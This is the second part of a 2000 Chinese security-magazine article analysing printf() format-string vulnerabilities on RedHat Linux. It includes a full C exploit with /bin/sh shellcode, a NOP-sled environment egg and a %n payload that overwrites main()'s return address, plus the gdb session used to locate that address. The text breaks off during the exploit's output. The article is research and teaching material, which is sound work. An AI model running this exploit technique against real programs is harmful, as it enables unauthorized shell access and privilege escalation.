首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第12期->技术专题
期刊号: 类型: 关键词:
*printf()格式化串安全漏洞分析(下)

作者:warning3 (warning3@nsfocus.com)
主页:http://www.nsfocus.com
日期:2000-08-15

测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)

(继续)

那么让我们来写一个简单的测试程序来看一下:

<- begin ->  exp.c

#include <stdlib.h>                                            
#include <unistd.h>                                            
                                                              
#define DEFAULT_OFFSET                    0                    
#define DEFAULT_ALIGNMENT                 2     // 我们使用两个字节来进行"对齐"
#define DEFAULT_RETLOC           0xbffff6dc     // 存放main()返回地址的地址              
#define DEFAULT_BUFFER_SIZE             512                    
#define DEFAULT_EGG_SIZE               2048                    
#define NOP                            0x90                    
                                                              
char shellcode[] =                                            
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

                                                              
unsigned long get_esp(void) {                                  
   __asm__("movl %esp,%eax");                                  
}                                                              
                                                              
main(int argc, char *argv[]) {                            
  char *buff, *ptr, *egg;                                      
  char *env[2];
  long shell_addr,retloc=DEFAULT_RETLOC;                                                  
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;        
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                            
  int fmt_num=4, i;
                                                              
  if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址                                                                                      
  if (argc > 2) offset  = atoi(argv[2]);                      
  if (argc > 3) align = atoi(argv[3]);                      
  if (argc > 4) bsize   = atoi(argv[4]);                      
  if (argc > 5) eggsize = atoi(argv[5]);                      

  
                                                              
  printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> \n",argv[0]);                                                            
  if (!(buff = malloc(bsize))) {                              
    printf("Can't allocate memory.\n");                        
    exit(0);                                                  
  }                                                            

  if (!(egg = malloc(eggsize))) {                              
    printf("Can't allocate memory.\n");                        
    exit(0);                                                  
  }                                                            
  
  printf("Using Ret location address: 0x%x\n", retloc);                                                                    
  shell_addr = get_esp() + offset;    //计算我们shellcode所处的地址                              
  printf("Using Shellcode address: 0x%x\n", shell_addr);
  
  ptr = buff;                                                  
  memset(buff,'A',4);

  i = align;
  buff[i]   =  retloc & 0x000000ff;   // 将retloc放到buff里                    
  buff[i+1] = (retloc & 0x0000ff00) >> 8;                
  buff[i+2] = (retloc & 0x00ff0000) >> 16;                
  buff[i+3] = (retloc & 0xff000000) >> 24;                  
  
  ptr = buff + i + 4;
  for(i = 0 ; i < 4 ; i++ )  //存放%.10u%.10u%.10u%.10u
    {
        memcpy(ptr, "%.10u", 5);
        ptr += 5;
    }
/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,
  * 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4
  * 将这个长度作为第5个%u的宽度值    
  */  
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

  ptr = egg;                                                  
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)        
    *(ptr++) = NOP;                                            
                                                              
  for (i = 0; i < strlen(shellcode); i++)                      
    *(ptr++) = shellcode[i];                                  
                                                              
  buff[bsize - 1] = '\0';                                      
  egg[eggsize - 1] = '\0';                                    
                                                              
  memcpy(egg, "EGG=", 4);                                        
  env[0] = egg ;
  env[1] = (char *)0 ;

  execle("./vul","vul",buff,NULL,env);          
}  /* end of main */      

<- end ->  

注意:在我们的程序里,我们实际使用的模式是:

AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会
显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显
示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也
就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是
RETloc,也就是main()的返回地址了。这也很简单:

[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08

Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    ap=0xbffff2e8) at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) bt  
#0  0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    ap=0xbffff2e8) at vfprintf.c:1212
#1  0x40070716 in _IO_vsnprintf (
    string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023,
    format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
    args=0xbffff2d0) at vsnprintf.c:129
#2  0x80484de in log (level=1,
    fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
    at vul.c:13
#3  0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3  -----> 查看main()的栈帧
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
  ebp at 0xbffff6d8, eip at 0xbffff6dc  ----> OK,存放eip的地址是0xbffff6dc
(gdb)

好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08

argv[1] = AA荟
版权所有,未经许可,不得转载